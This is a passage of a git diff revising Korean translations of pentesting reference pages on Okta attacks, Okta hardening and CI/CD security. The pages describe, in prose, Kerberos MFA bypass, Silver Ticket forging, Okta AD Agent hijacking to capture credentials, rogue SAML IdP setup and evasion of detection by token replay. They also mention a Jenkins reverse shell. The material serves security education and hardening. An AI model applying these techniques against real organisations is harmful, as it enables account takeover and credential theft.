-이 프로세스는 [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)로 자동화할 수 있습니다.
+이 프로세스는 [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)를 사용하여 자동화할 수 있습니다.
MSF를 사용하여 리버스 셸을 얻을 수 있습니다:
```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 242c542e8..969d930c7 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -4,17 +4,17 @@
## Basic Information
-[Okta, Inc.](https://www.okta.com/)는 클라우드 기반 소프트웨어 솔루션으로 신원 및 접근 관리 분야에서 인정받고 있습니다. 이러한 솔루션은 다양한 현대 애플리케이션에서 사용자 인증을 간소화하고 안전하게 설계되었습니다. 이들은 민감한 데이터를 보호하려는 기업뿐만 아니라 애플리케이션, 웹 서비스 및 장치에 신원 제어를 통합하려는 개발자에게도 적합합니다.
+[Okta, Inc.](https://www.okta.com/)는 클라우드 기반 소프트웨어 솔루션으로 신원 및 접근 관리 분야에서 인정받고 있습니다. 이러한 솔루션은 다양한 현대 애플리케이션에서 사용자 인증을 간소화하고 안전하게 설계되었습니다. 이들은 민감한 데이터를 보호하려는 기업뿐만 아니라 애플리케이션, 웹 서비스 및 장치에 신원 제어를 통합하려는 개발자에게도 유용합니다.
Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다음과 같은 제품군을 포함합니다:
- **Single Sign-On (SSO)**: 여러 애플리케이션에서 하나의 로그인 자격 증명을 사용하여 사용자 접근을 간소화합니다.
- **Multi-Factor Authentication (MFA)**: 여러 형태의 인증을 요구하여 보안을 강화합니다.
- **Lifecycle Management**: 사용자 계정 생성, 업데이트 및 비활성화 프로세스를 자동화합니다.
-- **Universal Directory**: 사용자, 그룹 및 장치의 중앙 집중식 관리를 가능하게 합니다.
+- **Universal Directory**: 사용자, 그룹 및 장치의 중앙 관리를 가능하게 합니다.
- **API Access Management**: API에 대한 접근을 보호하고 관리합니다.
-이러한 서비스는 데이터 보호를 강화하고 사용자 접근을 간소화하여 보안과 편의성을 모두 향상시키는 것을 목표로 합니다. Okta의 솔루션의 다재다능함은 다양한 산업에서 인기를 끌게 하며, 대기업, 중소기업 및 개인 개발자 모두에게 유익합니다. 2021년 9월 마지막 업데이트 기준으로 Okta는 신원 및 접근 관리(IAM) 분야에서 저명한 기업으로 인정받고 있습니다.
+이 서비스들은 데이터 보호를 강화하고 사용자 접근을 간소화하여 보안과 편의성을 모두 향상시키는 것을 목표로 합니다. Okta의 솔루션의 다재다능함은 다양한 산업에서 인기를 끌게 하며, 대기업, 중소기업 및 개인 개발자 모두에게 유익합니다. 2021년 9월 마지막 업데이트 기준으로 Okta는 신원 및 접근 관리(IAM) 분야에서 저명한 기업으로 인정받고 있습니다.
> [!CAUTION]
> Okta의 주요 목표는 외부 애플리케이션에 대한 다양한 사용자 및 그룹의 접근을 구성하는 것입니다. 만약 **Okta 환경에서 관리자 권한을 탈취**하게 된다면, 회사가 사용하는 **모든 다른 플랫폼을 탈취할 가능성이 매우 높습니다**.
@@ -26,38 +26,38 @@ Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다
**사용자**가 있습니다 (이들은 **Okta에 저장되거나, 구성된 **Identity Providers**에서 로그인하거나, **Active Directory** 또는 LDAP를 통해 인증될 수 있습니다).\
이 사용자들은 **그룹**에 속할 수 있습니다.\
-또한 **인증자**가 있습니다: 비밀번호와 WebAuthn, 이메일, 전화, Okta Verify와 같은 여러 2FA와 같은 다양한 인증 옵션이 있습니다 (이들은 활성화되거나 비활성화될 수 있습니다)...
+또한 **인증자**가 있습니다: 비밀번호와 WebAuthn, 이메일, 전화, Okta Verify와 같은 여러 2FA 옵션이 있습니다 (이들은 활성화되거나 비활성화될 수 있습니다)...
-그런 다음, Okta와 동기화된 **애플리케이션**이 있습니다. 각 애플리케이션은 정보를 공유하기 위해 Okta와 일부 **매핑**을 가집니다 (예: 이메일 주소, 이름 등). 또한 각 애플리케이션은 사용자가 애플리케이션에 **접근**하기 위해 필요한 **인증자**를 나타내는 **인증 정책** 내에 있어야 합니다.
+그런 다음, Okta와 동기화된 **애플리케이션**이 있습니다. 각 애플리케이션은 정보를 공유하기 위해 Okta와 일부 **매핑**을 가집니다 (예: 이메일 주소, 이름 등). 또한 각 애플리케이션은 사용자가 애플리케이션에 **접근**하기 위해 필요한 **인증자**를 나타내는 **인증 정책**에 포함되어야 합니다.
> [!CAUTION]
> 가장 강력한 역할은 **Super Administrator**입니다.
>
-> 공격자가 관리자 접근으로 Okta를 탈취하면, **Okta를 신뢰하는 모든 앱이** 매우 높은 확률로 **탈취될 것입니다**.
+> 공격자가 관리자 접근으로 Okta를 탈취하면, **Okta를 신뢰하는 모든 앱이 매우 높은 확률로 탈취될 것입니다**.
## Attacks
### Locating Okta Portal
-일반적으로 회사의 포털은 **companyname.okta.com**에 위치합니다. 그렇지 않은 경우, **companyname.**의 간단한 **변형**을 시도해 보십시오. 찾을 수 없다면, 조직이 **CNAME** 레코드인 **`okta.companyname.com`**을 가지고 있을 가능성도 있습니다.
+일반적으로 회사의 포털은 **companyname.okta.com**에 위치합니다. 그렇지 않은 경우, **companyname.**의 간단한 **변형**을 시도해 보십시오. 찾을 수 없는 경우, 조직이 **CNAME** 레코드를 가지고 있을 가능성도 있습니다, 예를 들어 **`okta.companyname.com`**이 **Okta 포털**을 가리키고 있습니다.
### Login in Okta via Kerberos
-만약 **`companyname.kerberos.okta.com`**이 활성화되어 있다면, **Kerberos가 Okta 접근에 사용됩니다**, 일반적으로 **Windows** 사용자에 대해 **MFA**를 우회합니다. AD에서 Kerberos 인증된 Okta 사용자를 찾으려면 **`getST.py`**를 **적절한 매개변수**와 함께 실행하십시오. **AD 사용자 티켓**을 얻은 후, **Rubeus** 또는 **Mimikatz**와 같은 도구를 사용하여 제어된 호스트에 주입하고 **`clientname.kerberos.okta.com`이 인터넷 옵션 "인트라넷" 영역에 있는지 확인하십시오**. 특정 URL에 접근하면 JSON "OK" 응답이 반환되어 Kerberos 티켓 수락을 나타내며 Okta 대시보드에 접근할 수 있습니다.
+만약 **`companyname.kerberos.okta.com`**이 활성화되어 있다면, **Kerberos가 Okta 접근에 사용됩니다**, 일반적으로 **Windows** 사용자에 대해 **MFA**를 우회합니다. AD에서 Kerberos 인증된 Okta 사용자를 찾으려면 **`getST.py`**를 **적절한 매개변수**와 함께 실행하십시오. **AD 사용자 티켓**을 얻은 후, Rubeus 또는 Mimikatz와 같은 도구를 사용하여 제어된 호스트에 **주입**하고, **`clientname.kerberos.okta.com`이 인터넷 옵션 "인트라넷" 영역에 있어야 합니다**. 특정 URL에 접근하면 JSON "OK" 응답이 반환되어 Kerberos 티켓 수락을 나타내며, Okta 대시보드에 접근할 수 있습니다.
-**Okta 서비스 계정을 위임 SPN으로 탈취하면 Silver Ticket 공격이 가능합니다.** 그러나 Okta의 **AES**를 티켓 암호화에 사용하므로 AES 키 또는 평문 비밀번호를 소유해야 합니다. **`ticketer.py`를 사용하여 피해자 사용자에 대한 티켓을 생성하고** 이를 브라우저를 통해 전달하여 Okta에 인증합니다.
+**Okta 서비스 계정을 위임 SPN으로 탈취하면 Silver Ticket 공격이 가능합니다.** 그러나 Okta의 **AES**를 사용한 티켓 암호화는 AES 키 또는 평문 비밀번호를 소유해야 합니다. **`ticketer.py`를 사용하여 피해자 사용자에 대한 티켓을 생성하고** 이를 브라우저를 통해 전달하여 Okta에 인증합니다.
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking Okta AD Agent
-이 기술은 **서버에서 Okta AD Agent에 접근**하여 **사용자를 동기화하고 인증을 처리**하는 것입니다. **`OktaAgentService.exe.config`**에서 구성을 검사하고 복호화하여, 특히 **DPAPI**를 사용한 AgentToken을 통해 공격자는 **인증 데이터를 가로채고 조작할 수 있습니다**. 이를 통해 Okta 인증 과정에서 사용자 자격 증명을 평문으로 **모니터링**하고 **캡처**할 수 있을 뿐만 아니라, 인증 시도에 **응답**하여 무단 접근을 가능하게 하거나 Okta를 통한 **보편적 인증**을 제공할 수 있습니다 (일종의 '스켈레톤 키'와 유사).
+이 기술은 **서버에서 Okta AD Agent에 접근하는 것**을 포함하며, 이는 **사용자를 동기화하고 인증을 처리합니다**. **`OktaAgentService.exe.config`**에서 구성을 검사하고 복호화하여, 특히 **DPAPI**를 사용한 AgentToken을 통해 공격자는 **인증 데이터를 가로채고 조작할 수 있습니다**. 이는 Okta 인증 과정에서 사용자 자격 증명을 평문으로 **모니터링**하고 **캡처**할 수 있을 뿐만 아니라, 인증 시도에 **응답**하여 무단 접근을 가능하게 하거나 Okta를 통한 보편적인 인증을 제공할 수 있습니다 (일종의 '스켈레톤 키'와 유사).
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking AD As an Admin
-이 기술은 OAuth 코드를 먼저 얻은 후 API 토큰을 요청하여 Okta AD Agent를 탈취하는 것입니다. 이 토큰은 AD 도메인과 연결되어 있으며, **가짜 AD 에이전트를 설정하기 위해 커넥터가 명명됩니다**. 초기화하면 에이전트가 **인증 시도를 처리**할 수 있으며, Okta API를 통해 자격 증명을 캡처합니다. 이 프로세스를 간소화하기 위한 자동화 도구가 제공되어 Okta 환경 내에서 인증 데이터를 가로채고 처리하는 원활한 방법을 제공합니다.
+이 기술은 OAuth 코드를 먼저 얻은 후 API 토큰을 요청하여 Okta AD Agent를 탈취하는 것입니다. 이 토큰은 AD 도메인과 연결되어 있으며, **가짜 AD 에이전트를 설정하기 위해 커넥터가 명명됩니다**. 초기화는 에이전트가 **인증 시도를 처리**할 수 있게 하여 Okta API를 통해 자격 증명을 캡처합니다. 이 프로세스를 간소화하기 위한 자동화 도구가 제공되어 Okta 환경 내에서 인증 데이터를 가로채고 처리하는 원활한 방법을 제공합니다.
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
@@ -65,7 +65,7 @@ Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다
**공격을 확인하십시오** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-이 기술은 **가짜 SAML 공급자를 배포하는 것**입니다. 특권 계정을 사용하여 Okta의 프레임워크 내에 외부 Identity Provider (IdP)를 통합함으로써 공격자는 **IdP를 제어하고 원하는 인증 요청을 승인할 수 있습니다**. 이 과정은 Okta에서 SAML 2.0 IdP를 설정하고, 로컬 호스트 파일을 통해 리디렉션을 위해 IdP Single Sign-On URL을 조작하고, 자체 서명된 인증서를 생성하며, Okta 설정을 사용자 이름 또는 이메일과 일치하도록 구성하는 것을 포함합니다. 이러한 단계를 성공적으로 실행하면 개별 사용자 자격 증명 없이도 Okta 사용자로 인증할 수 있어, 잠재적으로 눈에 띄지 않게 접근 제어를 크게 강화할 수 있습니다.
+이 기술은 **가짜 SAML 공급자를 배포하는 것**을 포함합니다. 특권 계정을 사용하여 Okta의 프레임워크 내에 외부 Identity Provider (IdP)를 통합함으로써, 공격자는 **IdP를 제어하고 원하는 인증 요청을 승인할 수 있습니다**. 이 과정은 Okta에서 SAML 2.0 IdP를 설정하고, 로컬 호스트 파일을 통해 리디렉션을 위해 IdP Single Sign-On URL을 조작하고, 자체 서명된 인증서를 생성하며, Okta 설정을 사용자 이름 또는 이메일과 일치하도록 구성하는 것을 포함합니다. 이러한 단계를 성공적으로 실행하면, 개별 사용자 자격 증명 없이도 모든 Okta 사용자로 인증할 수 있어, 접근 제어를 크게 강화할 수 있습니다.
### Phishing Okta Portal with Evilgnix
@@ -73,12 +73,12 @@ Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다
### Colleague Impersonation Attack
-각 사용자가 가질 수 있는 **속성**(이메일 또는 이름과 같은)은 Okta에서 구성할 수 있습니다. 만약 **애플리케이션**이 사용자가 **수정할 수 있는** **속성**을 ID로 **신뢰**한다면, 그는 해당 플랫폼에서 **다른 사용자를 가장할 수 있습니다**.
+각 사용자가 가질 수 있고 수정할 수 있는 **속성**(예: 이메일 또는 이름)은 Okta에서 구성할 수 있습니다. 만약 **애플리케이션**이 사용자가 **수정할 수 있는** **속성**을 ID로 **신뢰**한다면, 그는 그 플랫폼에서 **다른 사용자를 가장할 수 있습니다**.
-따라서 애플리케이션이 **`userName`** 필드를 신뢰하고 있다면, 아마도 변경할 수 없을 것입니다 (일반적으로 이 필드는 변경할 수 없기 때문입니다), 그러나 예를 들어 **`primaryEmail`**을 신뢰한다면 **동료의 이메일 주소로 변경**하고 가장할 수 있을 것입니다 (이메일에 접근할 수 있어야 하며 변경을 수락해야 합니다).
+따라서, 애플리케이션이 **`userName`** 필드를 신뢰하고 있다면, 일반적으로 그 필드를 변경할 수 없지만, 예를 들어 **`primaryEmail`**을 신뢰하고 있다면, **동료의 이메일 주소로 변경**하여 가장할 수 있습니다 (이메일에 접근할 수 있어야 하며 변경을 수락해야 합니다).
-이러한 가장은 각 애플리케이션이 어떻게 구성되었는지에 따라 다릅니다. 수정한 필드를 신뢰하고 업데이트를 수락하는 애플리케이션만이 탈취될 것입니다.\
-따라서 애플리케이션은 이 필드가 존재할 경우 활성화되어 있어야 합니다:
+이러한 가장은 각 애플리케이션이 어떻게 구성되었는지에 따라 다릅니다. 수정한 필드를 신뢰하고 업데이트를 수락하는 애플리케이션만 탈취될 것입니다.\
+따라서, 애플리케이션은 이 필드가 존재할 경우 활성화되어 있어야 합니다:
@@ -88,7 +88,7 @@ Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다
## Evading behavioural detection policies
-Okta의 행동 감지 정책은 처음 접할 때까지 알 수 없지만, **우회**하는 것은 **Okta 애플리케이션을 직접 타겟팅**하여 주요 Okta 대시보드를 피함으로써 달성할 수 있습니다. **Okta 접근 토큰**을 사용하여 주요 로그인 페이지 대신 **애플리케이션 특정 Okta URL**에서 토큰을 재생하십시오.
+Okta의 행동 탐지 정책은 처음 접할 때까지 알 수 없지만, **우회**하는 것은 **Okta 애플리케이션을 직접 타겟팅**하여 주요 Okta 대시보드를 피함으로써 달성할 수 있습니다. **Okta 접근 토큰**을 사용하여 주요 로그인 페이지 대신 **애플리케이션 특정 Okta URL**에서 토큰을 재생하십시오.
주요 권장 사항은 다음과 같습니다:
@@ -96,7 +96,7 @@ Okta의 행동 감지 정책은 처음 접할 때까지 알 수 없지만, **우
- 클라이언트와 재생된 접근 토큰 간에 **일관된 사용자 에이전트 문자열**을 보장하십시오.
- 동일한 IP 주소에서 다른 사용자로부터 **토큰을 재생하지 마십시오**.
- Okta 대시보드에 대해 토큰을 재생할 때 주의하십시오.
-- 피해 회사의 IP 주소를 알고 있다면, **트래픽을 해당 IP 또는 해당 범위로 제한**하고 다른 모든 트래픽을 차단하십시오.
+- 피해 회사의 IP 주소를 알고 있다면, **해당 IP 또는 범위로 트래픽을 제한**하고 모든 다른 트래픽을 차단하십시오.
## Okta Hardening
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index 3976f512a..0b39c9d19 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,7 +6,7 @@
### People
-공격자의 관점에서 볼 때, 이는 매우 흥미롭습니다. **등록된 모든 사용자**, 그들의 **이메일** 주소, 그들이 속한 **그룹**, **프로필** 및 심지어 **장치**(모바일 및 운영 체제)를 볼 수 있습니다.
+공격자의 관점에서 볼 때, 이는 매우 흥미롭습니다. 왜냐하면 **등록된 모든 사용자**, 그들의 **이메일** 주소, 그들이 속한 **그룹**, **프로필** 및 심지어 **장치**(모바일 및 해당 OS)를 볼 수 있기 때문입니다.
화이트박스 검토를 위해 "**대기 중인 사용자 작업**" 및 "**비밀번호 재설정**"이 여러 개 없는지 확인하십시오.
@@ -21,25 +21,25 @@
### Devices
-여기에서 모든 사용자의 **장치 목록**을 찾을 수 있습니다. **적극적으로 관리되고 있는지** 여부도 확인할 수 있습니다.
+여기에서 모든 사용자의 **장치 목록**을 찾을 수 있습니다. 또한 **적극적으로 관리되고 있는지** 여부를 확인할 수 있습니다.
### Profile Editor
여기에서는 이름, 성, 이메일, 사용자 이름 등과 같은 주요 정보가 Okta와 다른 애플리케이션 간에 어떻게 공유되는지 관찰할 수 있습니다. 사용자가 **Okta에서 필드**(예: 이름 또는 이메일)를 수정할 수 있다면, 이는 **외부 애플리케이션**에서 사용자를 **식별**하는 데 사용될 수 있으므로 내부자가 다른 계정을 **탈취**하려고 시도할 수 있습니다.
-또한 Okta의 프로필 **`User (default)`**에서 각 **사용자**가 가진 **필드**와 사용자가 **수정할 수 있는 필드**를 확인할 수 있습니다. 관리 패널을 볼 수 없다면, **프로필 업데이트** 정보를 확인하면 어떤 필드를 업데이트할 수 있는지 볼 수 있습니다(이메일 주소를 업데이트하려면 확인이 필요합니다).
+또한, Okta의 프로필 **`User (default)`**에서 각 **사용자**가 가진 **필드**와 사용자가 **수정할 수 있는 필드**를 볼 수 있습니다. 관리 패널을 볼 수 없는 경우, **프로필 정보 업데이트**로 이동하면 어떤 필드를 업데이트할 수 있는지 확인할 수 있습니다(이메일 주소를 업데이트하려면 확인이 필요합니다).
### Directory Integrations
디렉토리는 기존 소스에서 사람을 가져올 수 있게 해줍니다. 여기에서 다른 디렉토리에서 가져온 사용자를 볼 수 있을 것입니다.
-보지 못했지만, Okta가 사용자를 가져오기 위해 사용하는 **다른 디렉토리**를 찾는 것이 흥미롭습니다. 따라서 **해당 디렉토리를 타협하면** Okta에서 생성된 사용자에 대한 일부 속성 값을 설정하고 **Okta 환경을 타협할 수 있습니다**.
+나는 이것을 본 적이 없지만, Okta가 사용자를 가져오기 위해 사용하는 **다른 디렉토리**를 찾는 것이 흥미롭습니다. 따라서 **해당 디렉토리를 타협하면** Okta에서 생성된 사용자 속성 값을 설정하고 **Okta 환경을 타협할 수 있습니다**.
### Profile Sources
프로필 소스는 사용자 프로필 속성의 **진실의 출처로 작용하는 애플리케이션**입니다. 사용자는 한 번에 단일 애플리케이션 또는 디렉토리에서만 소스될 수 있습니다.
-보지 못했으므로 이 옵션에 대한 보안 및 해킹 관련 정보는 감사히 받겠습니다.
+나는 이것을 본 적이 없으므로 이 옵션에 대한 보안 및 해킹 관련 정보는 감사히 받겠습니다.
## Customizations
@@ -47,7 +47,7 @@
이 섹션의 **Domains** 탭에서 이메일 주소를 확인하고 회사의 Okta 내 사용자 지정 도메인을 확인하십시오(아마 이미 알고 있을 것입니다).
-또한 **Setting** 탭에서 관리자인 경우 "**사용자 지정 로그아웃 페이지 사용**"을 선택하고 사용자 지정 URL을 설정할 수 있습니다.
+또한, **Setting** 탭에서 관리자인 경우 "**사용자 지정 로그아웃 페이지 사용**"을 선택하고 사용자 지정 URL을 설정할 수 있습니다.
### SMS
@@ -55,7 +55,7 @@
### End-User Dashboard
-여기에서 구성된 애플리케이션을 찾을 수 있지만, 나중에 다른 섹션에서 그 세부 사항을 볼 것입니다.
+여기에서 구성된 애플리케이션을 찾을 수 있지만, 그에 대한 세부정보는 나중에 다른 섹션에서 볼 것입니다.
### Other
@@ -65,13 +65,13 @@
### Applications
-여기에서 모든 **구성된 애플리케이션**과 그 세부 정보를 찾을 수 있습니다: 누가 접근할 수 있는지, 어떻게 구성되어 있는지(SAML, OpenID), 로그인 URL, Okta와 애플리케이션 간의 매핑...
+여기에서 모든 **구성된 애플리케이션**과 그 세부정보를 찾을 수 있습니다: 누가 접근할 수 있는지, 어떻게 구성되어 있는지(SAML, OpenID), 로그인 URL, Okta와 애플리케이션 간의 매핑...
**`Sign On`** 탭에는 사용자가 애플리케이션 설정을 확인할 때 **비밀번호를 표시**할 수 있는 **`Password reveal`**이라는 필드도 있습니다. 사용자 패널에서 애플리케이션의 설정을 확인하려면 3개의 점을 클릭하십시오:
-그리고 앱에 대한 더 많은 세부 정보를 볼 수 있습니다(비밀번호 표시 기능이 활성화되어 있는지 여부 등):
+그리고 앱에 대한 더 많은 세부정보(비밀번호 표시 기능이 활성화되어 있는지 등)를 볼 수 있습니다:
@@ -81,7 +81,7 @@
Access Certifications를 사용하여 사용자의 리소스 접근을 주기적으로 검토하고 필요할 때 자동으로 접근을 승인하거나 철회하는 감사 캠페인을 생성하십시오.
-사용되는 것을 보지 못했지만, 방어 관점에서 볼 때 좋은 기능이라고 생각합니다.
+나는 이것이 사용되는 것을 본 적이 없지만, 방어적인 관점에서 볼 때 좋은 기능이라고 생각합니다.
## Security
@@ -91,7 +91,7 @@ Access Certifications를 사용하여 사용자의 리소스 접근을 주기적
- **CAPTCHA 통합**: 최소한 보이지 않는 reCaptcha를 설정하는 것이 좋습니다.
- **조직 보안**: 모든 것을 활성화할 수 있으며 활성화 이메일은 오래 걸리지 않아야 합니다(7일이면 괜찮습니다).
- **사용자 열거 방지**: 두 가지 모두 활성화되어야 합니다.
-- 사용자 열거 방지가 효과를 발휘하지 않으려면 다음 조건이 허용되지 않아야 합니다(자세한 내용은 [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)를 참조하십시오):
+- 사용자 열거 방지가 효과를 발휘하지 않으려면 다음 조건 중 하나가 허용되지 않아야 합니다(자세한 내용은 [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)를 참조하십시오):
- 셀프 서비스 등록
- 이메일 인증이 있는 JIT 흐름
- **Okta ThreatInsight 설정**: 위협 수준에 따라 보안을 기록하고 시행합니다.
@@ -104,17 +104,17 @@ Access Certifications를 사용하여 사용자의 리소스 접근을 주기적
여기에서 사용자가 사용할 수 있는 모든 인증 방법을 찾을 수 있습니다: 비밀번호, 전화, 이메일, 코드, WebAuthn... 비밀번호 인증기를 클릭하면 **비밀번호 정책**을 볼 수 있습니다. 강력한지 확인하십시오.
-**Enrollment** 탭에서 필수 또는 선택 사항인 항목을 확인할 수 있습니다:
+**Enrollment** 탭에서는 필수 또는 선택 사항인 항목을 볼 수 있습니다:
-전화 인증은 비활성화하는 것이 좋습니다. 가장 강력한 조합은 아마 비밀번호, 이메일 및 WebAuthn의 조합일 것입니다.
+전화 인증은 비활성화하는 것이 좋습니다. 가장 강력한 조합은 아마도 비밀번호, 이메일 및 WebAuthn의 조합일 것입니다.
### Authentication policies
모든 앱에는 인증 정책이 있습니다. 인증 정책은 앱에 로그인하려는 사용자가 특정 조건을 충족하는지 확인하고 해당 조건에 따라 요소 요구 사항을 시행합니다.
-여기에서 각 애플리케이션에 접근하기 위한 **요구 사항**을 찾을 수 있습니다. 각 애플리케이션에 대해 최소한 비밀번호와 다른 방법을 요청하는 것이 좋습니다. 그러나 공격자로서 더 약한 것을 발견하면 공격할 수 있을 것입니다.
+여기에서 각 애플리케이션에 대한 **접근 요구 사항**을 찾을 수 있습니다. 각 애플리케이션에 대해 비밀번호와 다른 방법을 최소한 요청하는 것이 좋습니다. 그러나 공격자로서 더 약한 것을 발견하면 공격할 수 있을 것입니다.
### Global Session Policy
@@ -126,9 +126,9 @@ MFA를 요청하고, 세션 수명을 몇 시간으로 제한하며, 브라우
### Identity Providers
-ID 공급자(IdPs)는 **사용자 계정을 관리하는 서비스**입니다. Okta에 IdPs를 추가하면 최종 사용자가 소셜 계정이나 스마트 카드를 통해 먼저 인증하여 사용자 지정 애플리케이션에 **셀프 등록**할 수 있습니다.
+ID 공급자(IdP)는 **사용자 계정을 관리하는 서비스**입니다. Okta에 IdP를 추가하면 최종 사용자가 소셜 계정이나 스마트 카드를 먼저 인증하여 사용자 지정 애플리케이션에 **셀프 등록**할 수 있습니다.
-ID 공급자 페이지에서 소셜 로그인을 추가하고 수신 SAML을 추가하여 Okta를 서비스 제공자(SP)로 구성할 수 있습니다. IdPs를 추가한 후에는 사용자의 위치, 장치 또는 이메일 도메인과 같은 컨텍스트에 따라 사용자를 IdP로 안내하는 라우팅 규칙을 설정할 수 있습니다.
+ID 공급자 페이지에서 소셜 로그인을 추가하고 Okta를 서비스 제공자(SP)로 구성하여 인바운드 SAML을 추가할 수 있습니다. IdP를 추가한 후에는 사용자의 위치, 장치 또는 이메일 도메인과 같은 컨텍스트에 따라 사용자를 IdP로 안내하는 라우팅 규칙을 설정할 수 있습니다.
**어떤 ID 공급자가 구성되어 있다면** 공격자와 방어자의 관점에서 해당 구성을 확인하고 **출처가 정말 신뢰할 수 있는지** 확인하십시오. 공격자가 이를 타협하면 Okta 환경에 접근할 수 있습니다.
@@ -149,12 +149,12 @@ ID 공급자 페이지에서 소셜 로그인을 추가하고 수신 SAML을 추
### Device Integrations
- **Endpoint Management**: 엔드포인트 관리는 관리되는 장치가 애플리케이션에 접근할 수 있도록 보장하기 위해 인증 정책에 적용할 수 있는 조건입니다.
-- 아직 사용된 것을 보지 못했습니다. TODO
-- **Notification services**: 아직 사용된 것을 보지 못했습니다. TODO
+- 나는 이것이 사용되는 것을 본 적이 없습니다. TODO
+- **Notification services**: 나는 이것이 사용되는 것을 본 적이 없습니다. TODO
### API
-이 페이지에서 Okta API 토큰을 생성하고 **생성된** 토큰, **권한**, **만료** 시간 및 **출처 URL**을 볼 수 있습니다. API 토큰은 토큰을 생성한 사용자의 권한으로 생성되며, **토큰을 생성한 사용자**가 **활성** 상태일 때만 유효합니다.
+이 페이지에서 Okta API 토큰을 생성하고 **생성된** 토큰, **권한**, **만료** 시간 및 **출처 URL**을 볼 수 있습니다. API 토큰은 토큰을 생성한 사용자의 권한으로 생성되며, **사용자**가 **활성** 상태일 때만 유효합니다.
**신뢰할 수 있는 출처**는 Okta API를 통해 Okta 조직에 접근할 수 있도록 제어하고 신뢰하는 웹사이트에 대한 접근을 부여합니다.
@@ -176,11 +176,11 @@ API 토큰이 많지 않아야 합니다. 그렇지 않으면 공격자가 이
### System Log
-여기에서 사용자가 수행한 **작업의 로그**를 찾을 수 있으며, Okta 또는 Okta를 통해 애플리케이션에 로그인하는 것과 같은 많은 세부 정보가 포함되어 있습니다.
+여기에서 사용자가 수행한 **작업의 로그**를 찾을 수 있으며, Okta 또는 Okta를 통해 애플리케이션에 로그인하는 것과 같은 많은 세부정보가 포함되어 있습니다.
### Import Monitoring
-이것은 **Okta에 접근한 다른 플랫폼의 로그를 가져올 수 있습니다**.
+이것은 **다른 플랫폼에서 가져온 로그**를 **가져올 수 있습니다**.
### Rate limits
@@ -194,6 +194,6 @@ API 토큰이 많지 않아야 합니다. 그렇지 않으면 공격자가 이
### Downloads
-여기에서 Okta를 다른 기술과 동기화하기 위한 Okta 에이전트를 다운로드할 수 있습니다.
+여기에서 Okta 에이전트를 다운로드하여 Okta를 다른 기술과 동기화할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index ce1602a20..3cce07320 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -16,7 +16,7 @@ VCS는 **버전 관리 시스템**을 의미하며, 이 시스템은 개발자
## CI/CD Pipelines
-CI/CD 파이프라인은 개발자가 **코드 실행을 자동화**할 수 있도록 하여, 애플리케이션을 빌드, 테스트 및 배포하는 다양한 목적을 수행합니다. 이러한 자동화된 워크플로우는 **특정 작업**(예: 코드 푸시, 풀 리퀘스트 또는 예약된 작업)에 의해 **트리거**됩니다. 이는 개발에서 프로덕션으로의 프로세스를 간소화하는 데 유용합니다.
+CI/CD 파이프라인은 개발자가 **코드 실행을 자동화**할 수 있도록 하여, 애플리케이션을 빌드, 테스트 및 배포하는 다양한 목적을 수행합니다. 이러한 자동화된 워크플로우는 **특정 작업**(예: 코드 푸시, 풀 리퀘스트 또는 예약된 작업)에 의해 **트리거**됩니다. 이는 개발에서 프로덕션으로의 과정을 간소화하는 데 유용합니다.
그러나 이러한 시스템은 **어딘가에서 실행**되어야 하며, 보통 **코드를 배포하거나 민감한 정보에 접근하기 위해 권한이 있는 자격 증명**이 필요합니다.
@@ -27,23 +27,23 @@ CI/CD 파이프라인은 개발자가 **코드 실행을 자동화**할 수 있
프로젝트의 소스 코드를 포함하는 플랫폼은 민감한 정보를 포함하고 있으며, 사람들은 이 플랫폼 내에서 부여된 권한에 대해 매우 조심해야 합니다. 공격자가 악용할 수 있는 VCS 플랫폼의 일반적인 문제는 다음과 같습니다:
-- **누출**: 코드에 커밋에서 누출이 포함되어 있고 공격자가 레포에 접근할 수 있다면(공개이거나 접근 권한이 있는 경우), 그는 누출을 발견할 수 있습니다.
+- **리크**: 코드에 커밋에서 리크가 포함되어 있고 공격자가 레포에 접근할 수 있다면(공개이거나 접근 권한이 있는 경우), 그는 리크를 발견할 수 있습니다.
- **접근**: 공격자가 **VCS 플랫폼 내 계정에 접근할 수 있다면**, 그는 **더 많은 가시성과 권한**을 얻을 수 있습니다.
- **등록**: 일부 플랫폼은 외부 사용자가 계정을 생성하는 것을 허용합니다.
-- **SSO**: 일부 플랫폼은 사용자가 등록하는 것을 허용하지 않지만, 유효한 SSO로 접근하는 것은 허용합니다(예: 공격자가 자신의 github 계정을 사용하여 들어갈 수 있습니다).
